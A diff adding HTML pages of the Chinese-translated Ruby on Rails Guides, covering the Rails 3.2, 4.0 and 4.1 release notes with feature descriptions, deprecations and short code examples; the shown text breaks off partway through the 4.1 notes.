  • +
+

7.3 Action View

+
    +
  • +

    Add button_tag support to ActionView::Helpers::FormBuilder. This support mimics the default behavior of submit_tag.

    +
    +
    +<%= form_for @post do |f| %>
    +  <%= f.button %>
    +<% end %>
    +
    +
    +
    +
  • +
  • Date helpers accept a new option :use_two_digit_numbers => true, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.

  • +
  • +

    You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

    +
    +
    +<%= form_for(@offer, :namespace => 'namespace') do |f| %>
    +  <%= f.label :version, 'Version' %>:
    +  <%= f.text_field :version %>
    +<% end %>
    +
    +
    +
    +
  • +
  • Limit the number of options for select_year to 1000. Pass :max_years_allowed option to set your own limit.

  • +
  • +

    content_tag_for and div_for can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:

    +
    +
    +@items.each do |item|
    +  content_tag_for(:li, item) do
    +     Title: <%= item.title %>
    +  end
    +end
    +
    +
    +
    +

    You can do this:

    +
    +
    +content_tag_for(:li, @items) do |item|
    +  Title: <%= item.title %>
    +end
    +
    +
    +
    +
  • +
  • Added font_path helper method that computes the path to a font asset in public/fonts.

  • +
+
7.3.1 Deprecations
+
    +
  • Passing formats or handlers to render :template and friends like render :template => "foo.html.erb" is deprecated. Instead, you can provide :handlers and :formats directly as options: render :template => "foo", :formats => [:html, :js], :handlers => :erb.
  • +
+

7.4 Sprockets

+
    +
  • Adds a configuration option config.assets.logger to control Sprockets logging. Set it to false to turn off logging and to nil to default to Rails.logger.
  • +
+

8 Active Record

+
    +
  • Boolean columns with 'on' and 'ON' values are type cast to true.

  • +
  • When the timestamps method creates the created_at and updated_at columns, it makes them non-nullable by default.

  • +
  • Implemented ActiveRecord::Relation#explain.

  • +
  • Implements ActiveRecord::Base.silence_auto_explain which allows the user to selectively disable automatic EXPLAINs within a block.

  • +
  • Implements automatic EXPLAIN logging for slow queries. A new configuration parameter config.active_record.auto_explain_threshold_in_seconds determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.

  • +
  • +

    Added ActiveRecord::Base.store for declaring simple single-column key/value stores.

    +
    +
    +class User < ActiveRecord::Base
    +  store :settings, accessors: [ :color, :homepage ]
    +end
    +
    +u = User.new(color: 'black', homepage: '37signals.com')
    +u.color                          # Accessor stored attribute
    +u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
    +
    +
    +
    +
  • +
  • +

    Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).

    +
    +
    +rake db:migrate SCOPE=blog
    +
    +
    +
    +
  • +
  • Migrations copied from engines are now scoped with engine's name, for example 01_create_posts.blog.rb.

  • +
  • +

    Implemented ActiveRecord::Relation#pluck method that returns an array of column values directly from the underlying table. This also works with serialized attributes.

    +
    +
    +Client.where(:active => true).pluck(:id)
    +# SELECT id from clients where active = 1
    +
    +
    +
    +
  • +
  • Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named MyModel::GeneratedFeatureMethods. It is included into the model class immediately after the generated_attributes_methods module defined in Active Model, so association methods override attribute methods of the same name.

  • +
  • +

    Add ActiveRecord::Relation#uniq for generating unique queries.

    +
    +
    +Client.select('DISTINCT name')
    +
    +
    +
    +

    ..can be written as:

    +
    +
    +Client.select(:name).uniq
    +
    +
    +
    +

    This also allows you to revert the uniqueness in a relation:

    +
    +
    +Client.select(:name).uniq.uniq(false)
    +
    +
    +
    +
  • +
  • Support index sort order in SQLite, MySQL and PostgreSQL adapters.

  • +
  • +

    Allow the :class_name option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string.

    +
    +
    +has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
    +
    +
    +
    +
  • +
  • In development mode, db:drop also drops the test database in order to be symmetric with db:create.

  • +
  • Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.

  • +
  • Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.

  • +
  • +

    Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a better approach over the old find_or_create_by dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.

    +
    +
    +User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
    +
    +
    +
    +
  • +
  • +

    Added a with_lock method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to lock!.

    +

    This makes it possible to write the following:

    +
    +
    +class Order < ActiveRecord::Base
    +  def cancel!
    +    transaction do
    +      lock!
    +      # ... cancelling logic
    +    end
    +  end
    +end
    +
    +
    +
    +

    as:

    +
    +
    +class Order < ActiveRecord::Base
    +  def cancel!
    +    with_lock do
    +      # ... cancelling logic
    +    end
    +  end
    +end
    +
    +
    +
    +
  • +
+

8.1 Deprecations

+
    +
  • +

    Automatic closure of connections in threads is deprecated. For example the following code is deprecated:

    +
    +
    +Thread.new { Post.find(1) }.join
    +
    +
    +
    +

    It should be changed to close the database connection at the end of the thread:

    +
    +
    +Thread.new {
    +  Post.find(1)
    +  Post.connection.close
    +}.join
    +
    +
    +
    +

    Only people who spawn threads in their application code need to worry about this change.

    +
  • +
  • +

    The set_table_name, set_inheritance_column, set_sequence_name, set_primary_key, set_locking_column methods are deprecated. Use an assignment method instead. For example, instead of set_table_name, use self.table_name=.

    +
    +
    +class Project < ActiveRecord::Base
    +  self.table_name = "project"
    +end
    +
    +
    +
    +

    Or define your own self.table_name method:

    +
    +
    +class Post < ActiveRecord::Base
    +  def self.table_name
    +    "special_" + super
    +  end
    +end
    +
    +Post.table_name # => "special_posts"
    +
    +
    +
    +
    +
  • +
+

9 Active Model

+
    +
  • Add ActiveModel::Errors#added? to check if a specific error has been added.

  • +
  • Add ability to define strict validations with strict => true that always raises exception when fails.

  • +
  • Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.

  • +
+

9.1 Deprecations

+
    +
  • Deprecated define_attr_method in ActiveModel::AttributeMethods because this only existed to support methods like set_table_name in Active Record, which are themselves being deprecated.

  • +
  • Deprecated Model.model_name.partial_path in favor of model.to_partial_path.

  • +
+

10 Active Resource

+
    +
  • Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
  • +
+

11 Active Support

+
    +
  • +

    Added ActiveSupport:TaggedLogging that can wrap any standard Logger class to provide tagging capabilities.

    +
    +
    +Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
    +
    +Logger.tagged("BCX") { Logger.info "Stuff" }
    +# Logs "[BCX] Stuff"
    +
    +Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
    +# Logs "[BCX] [Jason] Stuff"
    +
    +Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
    +# Logs "[BCX] [Jason] Stuff"
    +
    +
    +
    +
  • +
  • The beginning_of_week method in Date, Time and DateTime accepts an optional argument representing the day in which the week is assumed to start.

  • +
  • ActiveSupport::Notifications.subscribed provides subscriptions to events while a block runs.

  • +
  • Defined new methods Module#qualified_const_defined?, Module#qualified_const_get and Module#qualified_const_set that are analogous to the corresponding methods in the standard API, but accept qualified constant names.

  • +
  • Added #deconstantize which complements #demodulize in inflections. This removes the rightmost segment in a qualified constant name.

  • +
  • Added safe_constantize that constantizes a string but returns nil instead of raising an exception if the constant (or part of it) does not exist.

  • +
  • ActiveSupport::OrderedHash is now marked as extractable when using Array#extract_options!.

  • +
  • Added Array#prepend as an alias for Array#unshift and Array#append as an alias for Array#<<.

  • +
  • The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.

  • +
  • The inflector understands acronyms.

  • +
  • +

    Added Time#all_day, Time#all_week, Time#all_quarter and Time#all_year as a way of generating ranges.

    +
    +
    +Event.where(:created_at => Time.now.all_week)
    +Event.where(:created_at => Time.now.all_day)
    +
    +
    +
    +
  • +
  • Added instance_accessor: false as an option to Class#cattr_accessor and friends.

  • +
  • ActiveSupport::OrderedHash now has different behavior for #each and #each_pair when given a block accepting its parameters with a splat.

  • +
  • Added ActiveSupport::Cache::NullStore for use in development and testing.

  • +
  • Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library.

  • +
+

11.1 Deprecations

+
    +
  • ActiveSupport::Base64 is deprecated in favor of ::Base64.

  • +
  • Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern.

  • +
  • Module#synchronize is deprecated with no replacement. Please use monitor from ruby's standard library.

  • +
  • Deprecated ActiveSupport::MessageEncryptor#encrypt and ActiveSupport::MessageEncryptor#decrypt.

  • +
  • ActiveSupport::BufferedLogger#silence is deprecated. If you want to squelch logs for a certain block, change the log level for that block.

  • +
  • ActiveSupport::BufferedLogger#open_log is deprecated. This method should not have been public in the first place.

  • +
  • ActiveSupport::BufferedLogger's behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.

  • +
  • +

    ActiveSupport::BufferedLogger#auto_flushing is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.

    +
    +
    +f = File.open('foo.log', 'w')
    +f.sync = true
    +ActiveSupport::BufferedLogger.new f
    +
    +
    +
    +
  • +
  • ActiveSupport::BufferedLogger#flush is deprecated. Set sync on your filehandle, or tune your filesystem.

  • +
+

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Rails 3.2 Release Notes were compiled by Vijay Dev.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/4_0_release_notes.html b/v5.0/4_0_release_notes.html new file mode 100644 index 0000000..b3c0c90 --- /dev/null +++ b/v5.0/4_0_release_notes.html @@ -0,0 +1,537 @@ + + + + + + + +Ruby on Rails 4.0 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 4.0 Release Notes

Highlights in Rails 4.0:

+
    +
  • Ruby 2.0 preferred; 1.9.3+ required
  • +
  • Strong Parameters
  • +
  • Turbolinks
  • +
  • Russian Doll Caching
  • +
+

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.0

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the Upgrading Ruby on Rails guide.

2 Creating a Rails 4.0 application

+
+ You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+
+
+
+

2.1 Vendoring Gems

Rails now uses a Gemfile in the application root to determine the gems you require for your application to start. This Gemfile is processed by the Bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.

More information: Bundler homepage

2.2 Living on the Edge

Bundler and Gemfile makes freezing your Rails application easy as pie with the new dedicated bundle command. If you want to bundle straight from the Git repository, you can pass the --edge flag:

+
+$ rails new myapp --edge
+
+
+
+

If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the --dev flag:

+
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+
+
+
+

3 Major Features

Rails 4.0

3.1 Upgrade

+
    +
  • +Ruby 1.9.3 (commit) - Ruby 2.0 preferred; 1.9.3+ required
  • +
  • +New deprecation policy - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
  • +
  • +ActionPack page and action caching (commit) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
  • +
  • +ActiveRecord observers (commit) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
  • +
  • +ActiveRecord session store (commit) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
  • +
  • +ActiveModel mass assignment protection (commit) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
  • +
  • +ActiveResource (commit) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
  • +
  • +vendor/plugins removed (commit) - Use a Gemfile to manage installed gems.
  • +
+

3.2 ActionPack

+
    +
  • +Strong parameters (commit) - Only allow whitelisted parameters to update model objects (params.permit(:title, :text)).
  • +
  • +Routing concerns (commit) - In the routing DSL, factor out common subroutes (comments from /posts/1/comments and /videos/1/comments).
  • +
  • +ActionController::Live (commit) - Stream JSON with response.stream.
  • +
  • +Declarative ETags (commit) - Add controller-level etag additions that will be part of the action etag computation.
  • +
  • +Russian doll caching (commit) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
  • +
  • +Turbolinks (commit) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
  • +
  • +Decouple ActionView from ActionController (commit) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
  • +
  • +Do not depend on ActiveModel (commit) - ActionPack no longer depends on ActiveModel.
  • +
+

3.3 General

+
    +
  • +ActiveModel::Model (commit) - ActiveModel::Model, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for form_for)
  • +
  • +New scope API (commit) - Scopes must always use callables.
  • +
  • +Schema cache dump (commit) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
  • +
  • +Support for specifying transaction isolation level (commit) - Choose whether repeatable reads or improved performance (less locking) is more important.
  • +
  • +Dalli (commit) - Use Dalli memcache client for the memcache store.
  • +
  • +Notifications start & finish (commit) - Active Support instrumentation reports start and finish notifications to subscribers.
  • +
  • +Thread safe by default (commit) - Rails can run in threaded app servers without additional configuration.
  • +
+

Check that the gems you are using are threadsafe.

+
    +
  • +PATCH verb (commit) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
  • +
+

3.4 Security

+
    +
  • +match do not catch all (commit) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
  • +
  • +html entities escaped by default (commit) - Strings rendered in erb are escaped unless wrapped with raw or html_safe is called.
  • +
  • +New security headers (commit) - Rails sends the following headers with every HTTP request: X-Frame-Options (prevents clickjacking by forbidding the browser from embedding the page in a frame), X-XSS-Protection (asks the browser to halt script injection) and X-Content-Type-Options (prevents the browser from opening a jpeg as an exe).
  • +
+

4 Extraction of features to gems

In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your Gemfile to bring the functionality back.

+ +

5 Documentation

+
    +
  • Guides are rewritten in GitHub Flavored Markdown.

  • +
  • Guides have a responsive design.

  • +
+

6 Railties

Please refer to the Changelog for detailed changes.

6.1 Notable changes

+
    +
  • New test locations test/models, test/helpers, test/controllers, and test/mailers. Corresponding rake tasks added as well. (Pull Request)

  • +
  • Your app's executables now live in the bin/ directory. Run rake rails:update:bin to get bin/bundle, bin/rails, and bin/rake.

  • +
  • Threadsafe on by default

  • +
  • Ability to use a custom builder by passing --builder (or -b) to +rails new has been removed. Consider using application templates +instead. (Pull Request)

  • +
+

6.2 Deprecations

+
    +
  • config.threadsafe! is deprecated in favor of config.eager_load which provides a more fine grained control on what is eager loaded.

  • +
  • Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.

  • +
+

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Notable changes

7.2 Deprecations

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Notable changes

+
    +
  • Add ActiveModel::ForbiddenAttributesProtection, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.

  • +
  • Added ActiveModel::Model, a mixin to make Ruby objects work with Action Pack out of box.

  • +
+

8.2 Deprecations

9 Active Support

Please refer to the Changelog for detailed changes.

9.1 Notable changes

+
    +
  • Replace deprecated memcache-client gem with dalli in ActiveSupport::Cache::MemCacheStore.

  • +
  • Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead.

  • +
  • Inflections can now be defined per locale. singularize and pluralize accept locale as an extra argument.

  • +
  • Object#try will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new Object#try!.

  • +
  • String#to_date now raises ArgumentError: invalid date instead of NoMethodError: undefined method 'div' for nil:NilClass +when given an invalid date. It is now the same as Date.parse, and it accepts more invalid dates than 3.x, such as:

  • +
+
+
+  # ActiveSupport 3.x
+  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+
+  # ActiveSupport 4
+  "asdf".to_date # => ArgumentError: invalid date
+  "333".to_date # => Fri, 29 Nov 2013
+
+
+
+

9.2 Deprecations

+
    +
  • Deprecate ActiveSupport::TestCase#pending method, use skip from MiniTest instead.

  • +
  • ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.

  • +
  • ActiveSupport::JSON::Variable is deprecated. Define your own #as_json and #encode_json methods for custom JSON string literals.

  • +
  • Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols).

  • +
  • BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby standard library.

  • +
  • Deprecate assert_present and assert_blank in favor of assert object.blank? and assert object.present?

  • +
+

10 Action Pack

Please refer to the Changelog for detailed changes.

10.1 Notable changes

+
    +
  • Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
  • +
+

10.2 Deprecations

11 Active Record

Please refer to the Changelog for detailed changes.

11.1 Notable changes

+
    +
  • +

    Improve ways to write change migrations, making the old up & down methods no longer necessary.

    +
      +
    • The methods drop_table and remove_column are now reversible, as long as the necessary information is given. +The method remove_column used to accept multiple column names; instead use remove_columns (which is not revertible). +The method change_table is also reversible, as long as its block doesn't call remove, change or change_default +
    • +
    • New method reversible makes it possible to specify code to be run when migrating up or down. +See the Guide on Migration +
    • +
    • New method revert will revert a whole migration or the given block. +If migrating down, the given migration / block is run normally. +See the Guide on Migration +
    • +
    +
  • +
  • Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.

  • +
  • Add Relation#load to explicitly load the record and return self.

  • +
  • Model.all now returns an ActiveRecord::Relation, rather than an array of records. Use Relation#to_a if you really want an array. In some specific cases, this may cause breakage when upgrading.

  • +
  • Added ActiveRecord::Migration.check_pending! that raises an error if migrations are pending.

  • +
  • +

    Added custom coders support for ActiveRecord::Store. Now you can set your custom coder like this:

    +
    +
    +store :settings, accessors: [ :color, :homepage ], coder: JSON
    +
    +
    +
    +
  • +
  • mysql and mysql2 connections will set SQL_MODE=STRICT_ALL_TABLES by default to avoid silent data loss. This can be disabled by specifying strict: false in your database.yml.

  • +
  • Remove IdentityMap.

  • +
  • Remove automatic execution of EXPLAIN queries. The option active_record.auto_explain_threshold_in_seconds is no longer used and should be removed.

  • +
  • Adds ActiveRecord::NullRelation and ActiveRecord::Relation#none implementing the null object pattern for the Relation class.

  • +
  • Added create_join_table migration helper to create HABTM join tables.

  • +
  • Allows PostgreSQL hstore records to be created.

  • +
+

11.2 Deprecations

+
    +
  • Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.

  • +
  • +

    All dynamic methods except for find_by_... and find_by_...! are deprecated. Here's +how you can rewrite the code:

    +
      +
    • +find_all_by_... can be rewritten using where(...).
    • +
    • +find_last_by_... can be rewritten using where(...).last.
    • +
    • +scoped_by_... can be rewritten using where(...).
    • +
    • +find_or_initialize_by_... can be rewritten using find_or_initialize_by(...).
    • +
    • +find_or_create_by_... can be rewritten using find_or_create_by(...).
    • +
    • +find_or_create_by_...! can be rewritten using find_or_create_by!(...).
    • +
    +
  • +
+

12 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/4_1_release_notes.html b/v5.0/4_1_release_notes.html new file mode 100644 index 0000000..c3324b9 --- /dev/null +++ b/v5.0/4_1_release_notes.html @@ -0,0 +1,845 @@ + + + + + + + +Ruby on Rails 4.1 Release Notes — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 4.1 Release Notes

Highlights in Rails 4.1:

+
    +
  • Spring application preloader
  • +
  • config/secrets.yml
  • +
  • Action Pack variants
  • +
  • Action Mailer previews
  • +
+

These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the list of +commits in the main Rails +repository on GitHub.

+ + + +
+
+ +
+
+
+

1 Upgrading to Rails 4.1

If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +Upgrading Ruby on Rails +guide.

2 Major Features

2.1 Spring Application Preloader

Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration.

New Rails 4.1 applications will ship with "springified" binstubs. This means +that bin/rails and bin/rake will automatically take advantage of preloaded +spring environments.

Running rake tasks:

+
+bin/rake test:models
+
+
+
+

Running a Rails command:

+
+bin/rails console
+
+
+
+

Spring introspection:

+
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app    | my_app | started 23 secs ago | test mode
+ 3746 spring app    | my_app | started 10 secs ago | development mode
+
+
+
+

Have a look at the +Spring README to +see all available features.

See the Upgrading Ruby on Rails +guide on how to migrate existing applications to use this feature.

2.2 config/secrets.yml +

Rails 4.1 generates a new secrets.yml file in the config folder. By default, +this file contains the application's secret_key_base, but it could also be +used to store other secrets such as access keys for external APIs.

The secrets added to this file are accessible via Rails.application.secrets. +For example, with the following config/secrets.yml:

+
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+
+
+
+

Rails.application.secrets.some_api_key returns SOMEKEY in the development +environment.

See the Upgrading Ruby on Rails +guide on how to migrate existing applications to use this feature.

2.3 Action Pack Variants

We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy.

The request variant is a specialization of the request format, like :tablet, +:phone, or :desktop.

You can set the variant in a before_action:

+
+request.variant = :tablet if request.user_agent =~ /iPad/
+
+
+
+

Respond to variants in the action just like you respond to formats:

+
+respond_to do |format|
+  format.html do |html|
+    html.tablet # renders app/views/projects/show.html+tablet.erb
+    html.phone { extra_setup; render ... }
+  end
+end
+
+
+
+

Provide separate templates for each format and variant:

+
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+
+
+
+

You can also simplify the variants definition using the inline syntax:

+
+respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+
+
+
+

2.4 Action Mailer Previews

Action Mailer previews provide a way to see how emails look by visiting +a special URL that renders them.

You implement a preview class whose methods return the mail object you'd like +to check:

+
+class NotifierPreview < ActionMailer::Preview
+  def welcome
+    Notifier.welcome(User.first)
+  end
+end
+
+
+
+

The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. +This can be configured using the preview_path option.

See its +documentation +for a detailed write up.

2.5 Active Record enums

Declare an enum attribute where the values map to integers in the database, but +can be queried by name.

+
+class Conversation < ActiveRecord::Base
+  enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status  # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+
+
+
+

See its +documentation +for a detailed write up.

2.6 Message Verifiers

Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends.

The method Rails.application.message_verifier returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name:

+
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+
+
+
+

2.7 Module#concerning

A natural, low-ceremony way to separate responsibilities within a class:

+
+class Todo < ActiveRecord::Base
+  concerning :EventTracking do
+    included do
+      has_many :events
+    end
+
+    def latest_event
+      ...
+    end
+
+    private
+      def some_internal_method
+        ...
+      end
+  end
+end
+
+
+
+

This example is equivalent to defining a EventTracking module inline, +extending it with ActiveSupport::Concern, then mixing it in to the +Todo class.

See its +documentation +for a detailed write up and the intended use cases.

2.8 CSRF protection from remote <script> tags

Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data.

This means any of your tests that hit .js URLs will now fail CSRF protection +unless they use xhr. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of post :create, format: :js, switch to the explicit +xhr :post, :create, format: :js.

3 Railties

Please refer to the +Changelog +for detailed changes.

3.1 Removals

+
    +
  • Removed update:application_controller rake task.

  • +
  • Removed deprecated Rails.application.railties.engines.

  • +
  • Removed deprecated threadsafe! from Rails Config.

  • +
  • Removed deprecated ActiveRecord::Generators::ActiveModel#update_attributes in +favor of ActiveRecord::Generators::ActiveModel#update.

  • +
  • Removed deprecated config.whiny_nils option.

  • +
  • Removed deprecated rake tasks for running tests: rake test:uncommitted and +rake test:recent.

  • +
+

3.2 Notable changes

+
    +
  • The Spring application +preloader is now installed +by default for new applications. It uses the development group of +the Gemfile, so will not be installed in +production. (Pull Request)

  • +
  • BACKTRACE environment variable to show unfiltered backtraces for test +failures. (Commit)

  • +
  • Exposed MiddlewareStack#unshift to environment +configuration. (Pull Request)

  • +
  • Added Application#message_verifier method to return a message +verifier. (Pull Request)

  • +
  • The test_help.rb file which is required by the default generated test +helper will automatically keep your test database up-to-date with +db/schema.rb (or db/structure.sql). It raises an error if +reloading the schema does not resolve all pending migrations. Opt out +with config.active_record.maintain_test_schema = false. (Pull +Request)

  • +
  • Introduce Rails.gem_version as a convenience method to return +Gem::Version.new(Rails.version), suggesting a more reliable way to perform +version comparison. (Pull Request)

  • +
+

4 Action Pack

Please refer to the +Changelog +for detailed changes.

4.1 Removals

+
    +
  • Removed deprecated Rails application fallback for integration testing, set +ActionDispatch.test_app instead.

  • +
  • Removed deprecated page_cache_extension config.

  • +
  • Removed deprecated ActionController::RecordIdentifier, use +ActionView::RecordIdentifier instead.

  • +
  • Removed deprecated constants from Action Controller:

  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RemovedSuccessor
ActionController::AbstractRequestActionDispatch::Request
ActionController::RequestActionDispatch::Request
ActionController::AbstractResponseActionDispatch::Response
ActionController::ResponseActionDispatch::Response
ActionController::RoutingActionDispatch::Routing
ActionController::IntegrationActionDispatch::Integration
ActionController::IntegrationTestActionDispatch::IntegrationTest
+

4.2 Notable changes

+
    +
  • protect_from_forgery also prevents cross-origin <script> tags. +Update your tests to use xhr :get, :foo, format: :js instead of +get :foo, format: :js. +(Pull Request)

  • +
  • #url_for takes a hash with options inside an +array. (Pull Request)

  • +
  • Added session#fetch method fetch behaves similarly to +Hash#fetch, +with the exception that the returned value is always saved into the +session. (Pull Request)

  • +
  • Separated Action View completely from Action +Pack. (Pull Request)

  • +
  • Log which keys were affected by deep +munge. (Pull Request)

  • +
  • New config option config.action_dispatch.perform_deep_munge to opt out of +params "deep munging" that was used to address security vulnerability +CVE-2013-0155. (Pull Request)

  • +
  • New config option config.action_dispatch.cookies_serializer for specifying a +serializer for the signed and encrypted cookie jars. (Pull Requests +1, +2 / +More Details)

  • +
  • Added render :plain, render :html and render +:body. (Pull Request / +More Details)

  • +
+

5 Action Mailer

Please refer to the +Changelog +for detailed changes.

5.1 Notable changes

+
    +
  • Added mailer previews feature based on 37 Signals mail_view +gem. (Commit)

  • +
  • Instrument the generation of Action Mailer messages. The time it takes to +generate a message is written to the log. (Pull Request)

  • +
+

6 Active Record

Please refer to the +Changelog +for detailed changes.

6.1 Removals

+
    +
